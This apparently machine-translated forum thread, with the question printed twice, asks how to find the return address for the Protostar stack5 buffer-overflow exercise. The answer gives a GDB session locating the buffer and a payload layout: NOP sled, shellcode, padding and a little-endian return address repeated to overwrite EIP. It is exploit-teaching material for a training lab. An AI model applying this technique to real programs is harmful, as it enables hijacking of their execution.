伙计们和食尸鬼们好,
我有一个经典的 b0f,实际上它是 protostar stack5 练习
现在我有缓冲区 + shellcode 运行来覆盖 EIP,我需要提供地址来溢出 EIP。推断退货地址的正确方法是什么?我试过 ESP - len(shellcode) 但这似乎不起作用。
您如何计算正确的返回地址(越精确越好)?
GDB 相关示例表示赞赏。
伙计们和食尸鬼们好,
我有一个经典的 b0f,实际上它是 protostar stack5 练习
现在我有缓冲区 + shellcode 运行来覆盖 EIP,我需要提供地址来溢出 EIP。推断退货地址的正确方法是什么?我试过 ESP - len(shellcode) 但这似乎不起作用。
您如何计算正确的返回地址(越精确越好)?
GDB 相关示例表示赞赏。
没有比这更容易的了。gdb可执行文件,在 处设置断点main,让 gdb 打印您的缓冲区。
$ gdb /opt/protostar/bin/stack5
(gdb) break main
Breakpoint 1 at 0x80483cd: file stack5/stack5.c, line 10.
(gdb) run
Starting program: /tmp/stack5
Breakpoint 1, main (argc=1, argv=0xffffd674) at stack5/stack5.c:10
10 stack5/stack5.c: No such file or directory.
(gdb) print &buffer
$1 = (char (*)[64]) 0xbffff838
(gdb)
所以,如果你的 shellcode 从缓冲区的字节 0 开始,你想用0xbffff838.
事实上,为了让你的漏洞利用不受程序中的小变化(多一个局部变量,或者少一个......)的影响,我会用 32 nops ( 0x90)填充缓冲区,并将我的 shellcode 放在那些nops后面。这仍然为 shellcode 留下 32 个字节,这应该足够了。然后,跳转到0xbffff848nops 的 16 个字节,将它们移动几个字节不会再伤害你了。
最后,我不会计算缓冲区末尾和保存的字节之间的字节数,而是EIP重复缓冲区地址几次,这样您就可以确保 EIP 被覆盖;你并不真正关心那里还有什么。
总而言之,您的输入应该是
0x90 (32 times)
your shellcode
as many 0x90's as you need to fill the buffer to 64 bytes
0x48 0xf8 0xff 0xbf repeated about 10 times.
请记住交换EIP字节,因为我们在一个小端机器上。